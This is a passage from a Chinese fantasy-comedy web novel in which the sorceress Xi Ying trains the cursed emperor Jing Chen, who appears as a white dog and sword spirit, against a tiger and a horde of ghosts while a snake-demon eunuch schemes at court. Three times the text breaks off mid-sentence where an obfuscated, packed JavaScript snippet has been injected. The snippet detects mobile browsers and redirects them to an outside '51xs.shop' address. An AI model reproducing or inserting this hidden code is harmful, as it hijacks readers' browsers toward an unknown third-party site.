她看看自己的手,又看看地上的狗,语气憋屈:“呃,你这狗可真是,那个,我不是要对你做什么,哎呀我去,我能对条狗做什么啊……再说你小子还是我的剑灵呢,我把你养大的,四舍五入等于你娘,看一下又怎么了?何况你就是个没长大的狗崽子,花生米这么丁点儿大,有什么好看的……” 最后一句说完,狗叫得更惨了。 奚萦彻底无语,再没耐心继续哄狗,她直接霸王硬上弓,拎起狗脖子往身后灵泉中一丢,自己则像个恶霸一般守在池边,狗头一冒她就伸手将之按下,折腾几次后,总算安静了。 景辰的心情是崩溃的,被不男不女的妖怪非礼了不说,还被丢进冰寒彻骨的池子里受水刑,就算是在梦里也太可怕了!他一次次挣扎着试图上岸,可那双手却像无法撼动的命运一般,一次次将他按下去,直到他彻底失去反抗的力量。 沉入水中的景辰咬牙憋气,在心里狠狠咒骂奚萦,什么心狠手辣、无耻下流、卑鄙恶毒,他会的几句脏话尽数安往她身上招呼,若不是打不过的话,他肯定跟这贼子拼命! 骂着骂着,景辰的意识开始涣散,整个人变得轻飘飘的,浑身毛孔都舒展开来,清凉的泉水温柔地冲刷着他的身体,洗掉了一些已经刻进灵魂中的痛苦、疲惫、疯狂,他有生以来第一次感觉如此放松,从头到脚每一寸肌肤毛发都轻快呼吸着,缓缓飘着,舒服极了。 景辰没看到的是,当他意识涣散时,漂在灵泉中的白狗浑身散发出柔和的光芒,泉水像是被这光芒吸引,争先恐后涌入其中,消失不见。 一个时辰后,灵泉干涸,只剩一柄青玉短剑静静躺在池底,光芒敛尽,白狗的身影也消失不见。 奚萦伸手拾起青玉剑,弹了弹剑柄上栩栩如生的狼头,哼道:“嘴里叫得凶,身体倒是不客气,一池子灵泉让你祸祸光了,下次再敢冲我叫,定要缝上你的狗嘴!” 青玉剑毫无动静,温顺地贴在奚萦掌心,像是吃得太撑陷入了沉睡,哪里还有半点先前那癫狗的模样。 奚萦将剑收入袖中,趁着天还未亮,快速朝皇宫方向飞去。 奚萦回到长夏宫时,天边已泛起了鱼肚白,孙胡仍旧守在大门口打瞌睡,发财也霸占了奚萦的大床,正睡得口水横流。 自己披星戴月奔波一晚上,家里的猫和猴倒是睡得安逸了,到底谁是主人谁是仆从啊? 奚萦心里不平衡了,俯身捏住橘猫的鼻子,将其憋醒。 “司、司主,您回来啦?” 橘猫嘟哝一句,翻身让出大半张床,打算继续睡。 奚萦直接将胖猫拎起来,撑开她的眼皮,吩咐道:“从今天晚上起,你去宣王府盯着,看看他们买妖丹做什么。” 发财终于清醒了,听到“买妖丹”三个字,琥珀色的眼睛顿时瞪得溜圆:“这宣王好大的胆子!司主,要不我去吃了他?对了,宣王是谁啊?” 奚萦敲着她的脑门儿警告道:“不准在外面乱吃东西!宣王是当今皇帝唯一的亲叔叔,半年前皇帝病情加重,任命宣王为辅政大臣,如今这大雍王朝,宣王的地位仅次于皇帝,而且他身边高手如云,你千万要小心,有任何异动都先回报与我,不准乱来知道吗?” 发财下巴一扬,不满道:“我什么时候乱来过了,司主您就会瞎操心!” 奚萦撸了一把猫头,敷衍道:“嗯嗯,我家发财最可靠了!快去备水,司主我要洗澡。” * 蓬莱宫中,金内侍也回来了,这会儿正像往常一样安静地侍立在寝殿外。 跑路失败重返岗位,他心情极其复杂,尤其是差事没变,主人却换了一个,而且新主人还要他盯着旧主人。 这猝不及防的叛变,让金内侍的良心稍微痛了那么一下下,想到那个心狠手辣一言不合就塞药的可怕女人,他不禁开始念起景辰的好。 景辰的确不是个好脾气的主,但比起动辄打杀下人的豪门贵族老爷们,他只是脸臭了点,话少了点,语气差了点,气得再狠也不过是将人赶出宫去,相对于他天子的身份,常年被病痛折磨的境遇,这些实在算不上什么大毛病。 当然,他有个让金内侍不能忍的大毛病,那就是不近女色。 金内侍是条挑食的妒蛇,他只喜欢吃因情爱而生的嫉妒,那是种以酸涩为底,前味带着点微甜,中段是苦涩,一口下肚后,又化作极致的热辣卷土重来的美味,浓烈持久,回味悠长。 至于嫉妒别人有钱,嫉妒别人好看,嫉妒别人才华,这些嫉妒都太寡淡了,不好吃。 想到以后很长时间内都要跟着景辰,又得继续饿肚子的悲惨蛇生,金内侍顿时又忘了景辰的好,满心满眼只剩埋怨和愁闷。 唉,好端端一个人,又不是不行了,他怎么就不沾情爱、不近女色呢? 不近女色,不近女色,那莫非是喜欢男色? 这个想法就像一道闪电照亮夜空,让金内侍的思路一下子打开了:该给景辰找些男人啊! 瞧瞧他身边这些,都是去了根儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232545|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的假男人,难怪景辰瞧不上,他要的是真男人啊! 金内侍忽然找到蛇生新方向,整个蛇都精神了,开始默默盘点起自己认识的真男人,打算好好给景辰寻摸一番。 景辰当然不知道自己的御前总管在帮他物色男人了,他此时睡得正香。 打从记事起,头疾就一直缠着景辰,小时候还好,只在偶感风寒或是劳神过度时发作,十五岁后变成每隔数日发作一回,从半年前开始,忽然恶化成了时时刻刻头疼不止,严重的时候痛到他无法思考无法入睡,什么也做不了,只能睁眼熬着,从天黑熬到天明,再从天明熬到天黑。 帐顶三种样式的宝相花总共一百二十六朵,花瓣一千六百八十片,祥云纹三百六十处,他数过一遍又一遍。 若是能毫无痛苦地,安稳地睡上一觉,他宁愿再也不要醒来。 就如此刻,纠缠了他近二十年的头痛忽然销声匿迹,一直绕在耳边的轰鸣声也没了,太阳穴不再突突狂跳,他终于得享安宁,彻底沉沦在一场无梦的深眠中。 时间并未因景辰难得一场好眠而停滞,当旭日升起时,寝殿内没动静,金内侍猜测景辰或许头疾减轻,能多睡一会儿了,他识趣地没去打扰。 当日上三竿时,寝殿内还是没动静,金内侍怀疑景辰是不是痛晕过去了,只好蹑手蹑脚掀开床帐看了看,还好还好,不是发病的样子。 当小太监送来午膳时,寝殿内仍旧没动静,金内侍不禁担心景辰是不是死了,再次偷摸掀开床帐,探了探他的鼻息,还好还好,活着呢。 后来每隔半个时辰,金内侍就得去探一探景辰的鼻息,确认人没死,才敢回去继续守着。 景辰这一觉一直睡到下午申时,一睁眼就看到金内侍皱成一团的脸和鬼鬼祟祟朝自己伸过来的手。 被迫害的记忆瞬间苏醒,景辰往床里侧一缩,大叫道:“你做什么?” 幸好,这次发出的声音不是汪汪汪了,但金内侍被他吓得跌了个屁股蹲儿,也跟着大叫一声。 这下又引来外殿伺候的小太监,呼啦啦一群人涌进来,看到跌坐于床前的金内侍和抱着被子缩在床上的景辰,大家的眼神渐渐奇怪起来,却都不敢说话。 得亏今天的金内侍已经是条见过大风大浪的蛇了,他爬起来,朝景辰行了个礼,恭声道:“陛下,您要起了吗?” 景辰愣了片刻,问道:“什么时辰了?” “启禀陛下,申时二刻了。” “申时二刻,申时二刻了啊……” 景辰默念了几声,忽然笑了起来。 他今日难得睡足了,眼底青黑几乎全都消散,原本布满血丝的双眼也恢复了清明透亮,皮肤虽然仍旧是常日不见阳光的苍白,唇上却有了几分血色,此时展颜一笑,那真是久雨乍晴,冬雪初霁,美得令人惊心。 这一笑让金内侍看呆了去,片刻后他心中却是一紧,这人莫不是疯了? 他胆战心惊地偷瞄景辰,见他今日气色确实好了许多,眼神中也没什么疯狂凶戾的情绪,微微放了心,一时又升起几分感慨,他入宫半年了,还是第一次见这位年轻的皇帝陛下展露笑容呢。 多笑笑才好啊,成日里垮着个脸,没病也添晦气,何况这位还有大病,瞧这笑起来多好看呀,哪个女人见了都得走不动道! 就算是男人也会喜欢这么好看的脸啊! 哎哟哟,那这事儿就好办啦! 大事可成,金内侍也跟着笑了起来。 8. 当狗的好处(已修) 无病一身轻,景辰心情大好,将那场不堪回首的噩梦抛在脑后,又在金内侍的伺候下梳洗一番,用了一顿说不好是午膳还是晚膳的膳后,召李院使来诊脉。 李院使连景辰的病因都诊不出来,自然也诊不出他为何忽然好了,但总归是好了,他便捻着胡须笑眯眯地说好听话:“恭喜陛下,贺喜陛下,这是大好了啊!只是陛下久病,血气仍有不足,不能排除病情反复的可能性,还是要好生将养,老臣开一副调养滋补的方子,陛下先用着看看。” 景辰含笑点头,忽然想起昨晚那个怪梦,脸上的笑容顿时消失。 李院使还以为自己说错话了,偷偷瞟了眼景辰,缩着脖子不敢吱声。 景辰闭了闭眼,尽量无视那些被折辱的情节,前后梳理一遍,似乎,唯一可能有治病功效的,便是那颗陈年积灰味儿的丹药,好像是叫清虚丹来着,莫非自己头疾好了竟真是这个原因? 传奇话本子里不乏梦中遇仙、梦里得道飞升、一梦千年之类的故事,莫非他竟是梦里吃了仙丹? 可是给他“仙丹”的怪人浑身上下就没有跟“仙”字沾边的地方啊,那纯粹就是个变态! 景辰纠结极了,怪力乱神之说他向来不信,可自己这病一夜之间无药而愈,这事实在非人力所能为,而从昨晚到今天,他连蓬莱宫的大门都没踏出去过,唯一的变故,便是那场怪梦,以及怪梦中吃下的那颗丹药了。 “李院使,你可知道一种红色的,名为清虚丹的丹药?” 李院使闻言蹙眉,想了片刻后还是摇头:“陛下恕罪,老臣才疏学浅,于道家丹药一道实在不通,从未听说过这清虚丹。再则,炼丹常用的朱砂、水银、硫磺等物,皆是剧毒之物,稍有不慎便成大害,陛下切莫乱用丹药啊。” 景辰不置可否地点点头,示意李院使可以退下了。 李院使本来还想再劝两句,但见景辰已然神游天外,定然是听不进劝了,他暗叹一声,仔细斟酌着开了个滋补方子便告退离开了。 金内侍吩咐小太监跟着李院使去取药,转头笑呵呵对景辰道:“陛下如今龙体安康,实在可喜可贺,恰好万寿节将至,要不请各宫娘娘一起热闹热闹?沈嫔娘娘病了这许久,若是见陛下大好,这一高兴啊,说不定也跟着好起来了!” 景辰已经习惯了金内侍这种见缝插针推销后宫娘娘的做派,根本没搭理他,全副心思都在昨晚的怪梦上。 那不男不女的怪人除了给自己喂了颗清虚丹之外,还给那条蛇妖也吃了颗丹药,好像,好像是叫破境丹?她还说什么,让蛇妖好好盯着他的主子,啧,威逼唆使别人的仆从叛变,果然不是什么好人啊! 后来她还提到,替妖务司办事不会亏,妖务司又是什么?邪教吗? 见金内侍还杵在跟前,景辰顺嘴问道:“你知道妖务司吗?” 金内侍心中一惊,面上却不显,蹙眉思索一番后才小心翼翼道:“这,奴才从未听闻过啊,不过听这名字,像是跟妖鬼邪异之物有关啊。” 景辰也就随便那么一问,并未将金内侍的回答放在心上,他起身去了侧殿书房,开始看今天的折子。 难得好事竟也成双,今天的折子都一改往日哀鸿遍野诸事不顺的晦气,嘉余、庆民两县垮塌的堤坝堵上了,姚州作乱的小股流民也被成功镇压,景辰看完心情好了不少,朱笔一挥,毫不吝啬地写下两句嘉勉之词。 恰在此时,殿外传来两声短促的惊呼声,景辰眉头微蹙,正要开口询问时,金内侍忙不迭告罪:“陛下息怒,定是那些愣头愣脑的侍卫没规矩,奴才这就去将人打发走。” 景辰却道:“不必,打开窗户看看再说。” 金内侍略有些意外地偷瞟了景辰一眼,见他面色如常,便依言打开了书桌后的几扇窗户。 此时日头虽已然偏西,暑热却是一天中最盛的时候,窗户刚一打开,热浪便滚滚涌入,饶是天生体寒的金内侍都被扑得后退半步,一脸无奈地对景辰道:“这天实在热得厉害,陛下可要再多加两个冰盆?” 景辰没说话,他看着窗外刺眼的阳光,被晒得有些打焉儿的银杏树,以及正顶着烈日爬树的几个年轻侍卫,忽然有种恍若隔世之感。 被头疾折磨的日子里,他过得浑浑噩噩,怕吵畏光,几个月来几乎未曾踏出寝殿一步,此时乍然得见天光,万物生辉,看过千百遍的院子竟也好看极了。 纵使酷夏难捱,也好过终日不见阳光,人,还是该活在日头底下啊。 景辰忽然一副看呆了的模样,金内侍忍不住顺着他的视线看过去。 嚯,好多年轻俊朗的小伙子啊! 金内侍发现了大秘密,内心那个激动那个雀跃啊,他忍不住试探道:“陛下,想必是侍卫们怕蝉鸣吵到您,正在捉蝉呢,嗐,这些莽汉,也不知道动静小点,奴才这就去赶他们走,您千万息怒。” 景辰回过神来,摇头道:“不必,让他们捉吧。咦,有个新面孔,蓬莱宫的羽林卫何时添了新人?” 金内侍仔细瞧了瞧,确实有个新面孔,正是那爬得最高的少年,他记得是姓张来着:“回陛下,是添了新人,姓张,顶了先前孙威的缺。” 景辰点点头,一直看到侍卫们捉了蝉,回去继续执勤后,他才继续去看折子。 金内侍心里却不平静,开始替小张侍卫盘算起前程来。 景辰一边看着奏折,思绪却再次回到昨晚的梦境中。 想到那个古怪的梦,就难免会想到那个古怪的人。 若他的头疾真是因为吃了那颗清虚丹才好的,那这怪人也算是他的救命恩人了,可这家伙的言行又实在恶劣,尤其是后来在山洞中,她竟敢对自己动手! 动手就算了,竟还说他,小? 但凡是个正常男人都受不了这种侮辱! 他当时怎么就只会尖叫发抖,而不是上去咬她一口呢?太没出息了,可恶,那狗定然不是他! 想到这里,景辰悔得肠子都青了,咬牙切齿恨了半天,忽然又想起她摸过蛇又摸过掉在地上的丹药,那手不知道脏成什么样呢,咬她也是脏了自己的嘴。 挠她,下次挠她! 但是,这场梦还会有下次吗?梦里的那个怪人,是真实存在的吗?若不是真实存在的,那为何他吃下那颗丹药后,头疾就好了?还是说,他的头疾并非真的好了,将来还会复发? 景辰在这儿东想西想想得脑子都快炸了,殿门外忽然有小太监通传,说长夏宫的许美人求见。 景辰今天确实心情不错,但还没好到有心情见陌生女人,何况他的好心情已经在反复回忆起梦里山涧被可怕的女人残害时变得不那么好了。 他冷冷道:“不见!让她老实待在自己宫里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232546|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,大热天地出来瞎跑什么。” 金内侍领命而去,景辰继续胡思乱想,因此错过了自家总管临去时投来那个“我果然发现了了不得的真相”的古怪眼神。 金内侍奉旨赶人,再加上已经改变了觅食战略,这次对上许美人便没怎么客气,见了人就干巴巴地将景辰的话重复了一遍。 许美人今日又是一身如火的红裙,身姿挺拔地站在烈日下,美得灼目,听到那番无情的“老实待着别瞎跑”的话,漂亮的凤眸中闪过一簇怒火。 她身旁的宫女银霜见自家主子被当众数落,脸色刷地白了,泪水在眼眶里打了几个转儿却不敢落下,撑伞的手也跟着抖了起来。 许美人倒是很快冷静下来,柔声道:“臣妾遵旨,打扰陛下休息,是臣妾的不是,还请陛下千万息怒,保重龙体。” 金内侍有些同情地看了许美人一眼,放软了语气:“天气炎热,陛下也是担心美人中暑,待秋凉了您再来,陛下说不定就愿意见了。” 许美人笑着点头,带着宫女转身走了。 金内侍正要回去复命,一转头却看到旁边站个年轻侍卫,正是那张姓少年,他眼睛一亮,笑呵呵道:“小张侍卫真是心细体贴,陛下刚才还夸你呢,特地让咱家备了凉茶,小张侍卫执勤辛苦,去偏殿茶水间喝口水再回来吧。” 小张侍卫少年心性,听到陛下竟然夸自己,还让金内侍给自己准备凉茶,又激动又兴奋,说话都结巴了:“谢、谢主隆、隆恩!” 许美人铩羽而归,小张侍卫得了嘉奖,金内侍小算盘打得噼里啪啦,这些小事景辰都不知道,这一天也很快过去。 夜幕再次降临,很快又到了夜深人静,该出来活动的时候。 * 奚萦今晚难得轻松,蓬莱宫有金内侍盯着,宣王府那边派了发财过去,她总算有点当司主的感觉了,这会儿翘着腿趟在榻上,有些百无聊赖地转着一柄青玉短剑。 她可不是个闲得住的人,躺了不过两刻钟就觉得浑身痒痒,不动一下不行,自己动没什么意思,她立马就想到了自家那新生的剑灵。 啧,吃了颗清虚丹,又喝了一池子灵泉,得帮他消化消化啊! 奚萦觉得这狗剑灵最大的毛病就是怂,作为一柄剑,未战先怯是大忌,得给他来个刺激的,让他知道不拼命就得死。 仔细琢磨了一番训狗计划,奚萦趁着夜色再次溜出了皇宫。 * 景辰今晚是怀着忐忑的心情躺下的,他将昨晚的怪梦翻来覆去想了一天,总觉得这事不会轻易结束了,若是再梦到自己变成狗,再梦到那个怪女人怎么办? 得先问问是不是那颗清虚丹治好了自己的头疾。 若是的话,若是的话,那就暂且赦免了她大不敬之罪吧。 但这口气实在咽不下去啊! 那就在问清楚之前狠狠挠她一爪子,看她还敢不敢藐视天威、亵渎龙体、诽谤天子! 心里装了太多事,景辰在宽敞的龙床上翻烙饼似的翻了好多圈,精神好得能立马起来打两套拳。 就这样一直翻烙饼翻到将近夜半子时,景辰耳边忽然响起一道熟悉的女声。 “富贵儿,富贵儿,快醒醒!” 景辰的意识开始模糊,彻底闭眼之前,他恨恨发誓,明天定要下令严禁给狗起名叫富贵儿,太难听了! 9. 到底谁更狗(已修) “富贵儿呀,你看你这小身板儿,吃了我一颗清虚丹,喝了一池子灵泉,怎么哪儿哪儿都没长呀!这样下去不行,你作为本司主的剑,是司主我以及咱们妖务司的脸面,就算是条狗,也得当上狗中之王知道吗?不过你也别担心,每个人,呃,每条狗都是从弱小时一步步成长起来的,成长的关键,就在于历练,看到那只可爱的大黄了吗?它就是你今晚的历练项目了。” 景辰一睁眼就看到那张让他一整天都念念不忘的脸,那脸上带着亲切的笑,语气也和煦得如同三春暖阳,但说出来的话他怎么一点都听不懂呢? 小白狗呆呆地听奚萦瞎忽悠了一顿,然后顺着她手指的方向望过去,水汪汪的大眼睛对上了杀气腾腾的一双虎眸。 “嗷!!” 一声虎啸响彻云霄,震得景辰浑身毛都炸开,连退几步,终于看清自己面前倒吊着一只巨大的花皮老虎,他不禁失声尖叫:“老、老、老虎?!疯女人,你到底要干什么?!” 奚萦被狗叫虎啸吵得耳朵疼,抬手就往那颗比铜盆还大的虎头上扇了一巴掌,老虎顿时老实了。 景辰看看足有自己好几个大的虎头,再看看自己伶仃细瘦的小腿儿,默默选择了闭嘴。 至于挠她一爪子的伟大理想,还是徐徐图之吧。 奚萦见这俩货安静下来,没好气道:“别吵吵!听我说比赛规则,第一场比速度,大黄你跟富贵儿同时从这里出发,谁先到前面山崖谁赢。” 景辰一脸呆滞地转头,朝她手指的“山崖”看去,黑咕隆咚一片,有个屁的山崖啊! 奚萦继续道:“第二场比力量,你俩不准用牙也不准用爪子,谁能把对方撞下山崖就算谁赢。第三场比头脑——” 说到这里,她顿了顿,目光在大黄和富贵儿之间来回逡巡,似乎想不出一头老虎和一条狗该怎么比头脑。 景辰就更崩溃了,这他妈是什么没人性的比赛啊,第一轮比完侥幸没掉下山崖摔死的话,第二轮也必然得摔死一个啊,还比个屁的头脑,阴间去比吗? 但凡有点头脑的人也搞不出这种见鬼的比赛来!这女人莫非被老虎和狗刨了祖坟? 忍无可忍,景辰怒喝:“朕不比,疯女人,放开朕!你这是以下犯上,弑君造反!” 奚萦见景辰吓得浑身哆嗦,良心发现,妥协道:“好啦好啦,我知道富贵儿你没头脑,那就不比头脑吧,比速度和力量就行了。” 这神经病果然又开始自说自话,景辰骂得再凶也是徒劳,很快就彻底泄气不吭声了。 那只被赐名“大黄”的老虎也是一脸欲哭无泪,它已修炼百年,即将化形,是这幽浮山中的一霸,今晚原本好好在家睡觉,谁知这陌生女人闯进家门将他暴揍一顿,揍完又将他捆住四肢倒吊在树上,然后不知从哪儿掏出条狗来,这会儿竟然还要逼着他跟狗比赛,这到底是什么虎生疾苦啊! 大黄心里苦,大黄却不敢说话,怕挨打。 奚萦见一狗一虎都没意见了,高兴道:“好了,我说开始,你俩就跑,知道吗?” 大黄:“嗷。” 景辰:“汪。” 奚萦一挥手斩断捆大黄的绳子,将试图逃跑的景辰拎起来朝山崖的方向一丢,大喝道:“开始!” 比赛双方都没什么参赛积极性,闻言只是慢吞吞朝前迈了两步。 奚萦火大,照着一虎一狗的屁股就是刷刷两脚,将之踹飞后,又在后面恶狠狠地威胁:“输了的剃光毛割掉蛋蛋挂在含光门示众三天!” 这威胁就如天降一盆鸡血,消极比赛的景辰和大黄立马精神抖擞,发疯似的冲向山崖。 刚才听奚萦说谁先到山崖谁赢,景辰还以为这山崖是有多远呢,结果才跑了没几步,就发现前面不到一丈远的地方就是断崖,他吓得连忙侧身减速,四只爪子在地上磨出火星子,费了吃奶的劲儿,堪堪停在了断崖边上。 大黄就没这么幸运了,他体型大速度快,卯足了劲儿往前冲,等看清楚断崖时已经晚了。 黄皮黑纹的大老虎就如一道闪电,倏然投入深不见底的悬崖,在夜色中画出了一道漂亮的抛物线,直到他一往无前的身影消失在崖下片刻后,一声凄厉的惨叫才在山间回荡开来,久久不息。 景辰腿都吓软了,整条狗半死不活趴在原地,见奚萦优哉游哉地晃过来,实在忍无可忍:“你这疯子故意坑我们!” 奚萦高兴地夸自家狗子:“没想到呀富贵儿,虽然你速度慢了点,但反应还是挺快的嘛,总算不是一无是处啦!喏,这是你的奖励。” 奚萦顺手塞了颗白色丹药给景辰。 他原本不想要疯女人的东西,可一想到这是自己冒着生命危险赢来的,立马心平气和地接受了。 丹药入腹化作一股暖流涌向四肢百骸,景辰狗躯一振,只觉得浑身上下充满了力量,打死一只大黄也不成问题! 这疯女人虽然神神叨叨的,但出手还算大方,被她折腾两回,换来两颗丹药,治好了头疾,也不算亏。 景辰刚想到这里,就听奚萦幽幽道:“清虚丹一百两黄金一颗,养元丹一百五十两黄金一颗,富贵儿啊,你欠我两百五十两黄金加一池灵泉了,要好好干活,早日还债啊。” 景辰心里刚升起的那点微不足道的好感荡然无存,他白了奚萦一眼:“说好的奖励呢?哪有奖励需要自己花钱买的?” 奚萦笑眯眯:“嗯嗯,富贵儿真是乖狗狗,你非得多给五十两的话,我也不是不能接受。既然你这么积极,那咱们今晚再加赛一场吧!” 景辰:“……” 景辰不想跟这人说话,两只前爪捂住耳朵,选了处看上去比较干净的草皮趴着。 奚萦没管他,纵身跳下山崖,在半山腰一棵老松上找到了摔断腿的大黄,将他救了上去。 大黄整个虎都摔傻了,一动不动任由奚萦给他包扎上药,最后奚萦摸着他的脑门笑道:“哎呀可惜,大黄这样子可比不了第二轮了,你别伤心啊,虽败犹荣,千万别气馁,下次加油哦!” 听到竟然还有“下次”,大黄哀嚎一声,也不装死了,瘸着腿落荒而逃。 他现在立刻马上就搬家,搬得远远的,再也不要遇见这疯女人了! 目送大黄仓皇逃离后,奚萦招呼景辰:“走吧,去找新的比赛对手。” 被抓住命运后脖颈的景辰无力反抗,呜咽两声后开始装死。 奚萦兴致勃勃跟他聊天:“你喜欢天上飞的还是地上跑的?” 景辰:“朕喜欢半夜三更在寝宫里好好睡觉。” 奚萦:“都喜欢啊,那你还挺随便呢。我觉得你有点怂,得先把胆子练起来,修为都好说,你最怕什么呢?” 景辰:“朕以前不怕什么,现在最怕你。” 奚萦:“什么都怕啊?啧,那先从最简单的开始吧。” 景辰:“不会聊天可以不聊!” 奚萦:“嗐,不用谢,你以后多干活少吃饭就行了。” 景辰:“艹……” 景辰发现这个女人真的很会气人,跟她说话会气死,不跟她说话也会气死,而他现在说不了人话,就更气人了,可惜生气更是徒劳,他最后憋屈地选择闭嘴。 奚萦自己一个人也能叨叨,她对景辰道:“富贵儿啊,你别嫌司主我唠叨,我这都是为你好啊,你看看你,明明是顶顶厉害的神兵化灵,妖族中出身极好的存在,结果呢,变成条狗不说,还是条修为稀烂脑袋空空的废狗,你甘心吗?我知道你也不甘心的,所以得好好修炼啊,司主我百忙之中抽空陪你修炼,你不感恩就算了,竟然还顶嘴甩脸子,司主我很伤心啊!哎,到了,就这里吧。” 景辰还没反应过来,就被奚萦带着一个俯冲向下,落到一处荒凉的山头。 今晚月色不错,再加上狗的夜视能力本就很强,还没落地景辰就看到了一些形状可疑的馒头状土包,漫山遍野都是,三五成群的野狗和乌鸦穿梭其间,时不时发出渗人的嚎叫。 这地方,莫非就是传说中的—— “没错,乱葬岗!” 奚萦说出了景辰心中那个答案,语气十分开心,不知道的还以为是她家。 景辰偷偷咽了下口水,找了棵看上去很可靠的大树抱着,再次装死。 “富贵儿啊,我发现你不像个剑灵,反倒像条真正的狗,或许你的能力也跟狗妖差不多。” 景辰:你才是真正的狗,谁都没你狗! 奚萦继续道:“狗妖啊,我不太熟悉,但黑狗血克鬼物,你嘛,虽然是白狗,应该也差不多啦,能力既有天生的也有练出来的,所以今晚第二场比赛嘛,就找几只野鬼来试试吧。” 景辰转身就跑。 奚萦根本没搭理他,她在储物袋中翻找一会儿,掏出一面巴掌大小的黑旗,往空中一抛,黑旗无风而动,瞬间暴涨数十倍,旗上一颗颗鲜血淋漓的人头张嘴咆哮,尖利可怖的鬼啸声瞬间打破荒山的寂静。 大地震颤,狂风骤起,一道道飘忽的黑影从坟包中爬起,从远处树林中飘来,汇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232547|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聚到黑旗下方。 奚萦一身黑衣,姿态潇洒地立在山头,见招魂幡下已经汇聚了几十个孤魂野鬼,手一挥,指着远处一道小小的白色狗影道:“把那条狗抓过来,不准弄死了。” 有招魂幡的加持,原本孱弱的孤魂野鬼一个个像磕了仙丹妙药,得令后一拥而上,甩着肠子,拎着脑袋,拖着长舌头,鬼喊鬼叫着冲向景辰。 奚萦召鬼的动静极大,景辰当然也听到了,他撒开四条腿疯狂往山下跑,可是这山头仿佛无边无际,他怎么跑都跑不出去。 身后那似哭似笑的诡异声音越来越近,随之而来的还有股令人作呕的腐臭味,景辰无法形容这是种什么味道,他这辈子都没闻过这么臭的东西,刚吸进鼻子就直冲脑门儿,呛得他连连干呕,头晕眼花,连骂奚萦的力气都没有了。 奚萦不紧不慢地跟在群鬼后面,笑嘻嘻地给景辰出主意:“富贵儿呀,你不能光知道跑,你那四条小短腿儿能跑得过鬼吗,你得学学你黑狗兄弟,喷他们一脸血啊,打他们,咬他们呀!” 这时冲在最前面的一个吊死鬼追上了景辰,黑黢黢的爪子搭上景辰后脑勺,桀桀怪笑道:“小郎君真俊啊,给姐姐吃,吃一口。” 景辰一回头就看到乌黑流脓的长舌头朝自己甩来,吓得就地一滚,险险躲开了那舌头,结果这一滚恰好滚到了紧跟在吊死鬼后面的红衣女鬼脚下。 红衣女鬼倒是好看了不少,说话也挺温柔:“郎君这么主动,妾身怪不好意思的。” 红衣鬼也伸手来抓景辰,他无处可躲,只能一口咬在女鬼手上,结果女鬼还没喊疼,他自己先恶心得尖叫起来。 被招魂幡加持过的鬼怨力大增,魂体凝实,吃到嘴里就像臭水沟里沤了几十年的淤泥,又腥又冷又臭,差点将景辰的天灵盖给炸了。 趁他呕吐的时候,后面的鬼也赶到,各种残肢断臂腐肉内脏齐聚一堂,尽数往弱小可怜的景辰身上招呼,将他吓得差点当场晕厥。 若是晕过去也就好了,偏偏他还晕不了,也不敢再咬鬼,他只能挥着爪子拼命抓挠,一时间鬼哭狗叫声此起彼伏,响彻整片乱葬岗。 奚萦寻了根树枝坐着观战,时不时点评两句。 “哎呀我说你们这些女鬼,真的是鬼当久了,看条狗都眉清目秀是吧,怎么尽往不该摸的地方摸。” “富贵儿加油啊,别光用爪子挠啊,用嘴咬呀,你是条狗,用爪子挠来挠去的也太娘了。” “喂,我说真的,谁再敢摸我家富贵儿的屁股我就剁了谁的爪子!” “对对对,就是这样,咬他……” 这一夜漫长得好像没有尽头,景辰战到后来,已经忘了自己是谁,也看不见那些狰狞可怖的鬼脸,他只剩下一个念头,那就是斩。 斩尽诸邪,涤荡万恶。 小白狗不知何时消失了,一个白衣男子手执青剑,翩然游走于群鬼之中,剑影如风,瞬间击溃众鬼,惨叫嘶鸣不绝于耳,而那白衣男子仿佛未闻,一剑快似一剑,犀利果决,无可匹敌。 奚萦早已收起了嬉笑之色,凝眉看着那人持剑斩尽恶鬼。 白衣男子的面容隐没在剑光中,奚萦看不真切,正要上前时,人影却倏然消失在原地,只剩青玉短剑静静躺在地上,光华灼灼。 奚萦拾起短剑,剑上光芒顿时消散,重新变得温和内敛,亲切又熟悉,是她家富贵儿。 可是方才那个白衣男子又是谁?是富贵儿化作人形的样子吗?那人剑术已臻化境,怎么也不像富贵儿这条废狗能达到的水平啊! 而且,奚萦总觉得有什么不对劲的地方,可到底是哪儿不对劲,她又说不出个所以然来。 想不出个结果,奚萦便敲着剑柄呼唤富贵儿,打算严刑拷问一番。 “富贵儿,富贵儿,富贵儿……” 景辰意识混沌,这恼人的声音却一直在耳边响个不停,逼得他强打精神睁开眼。 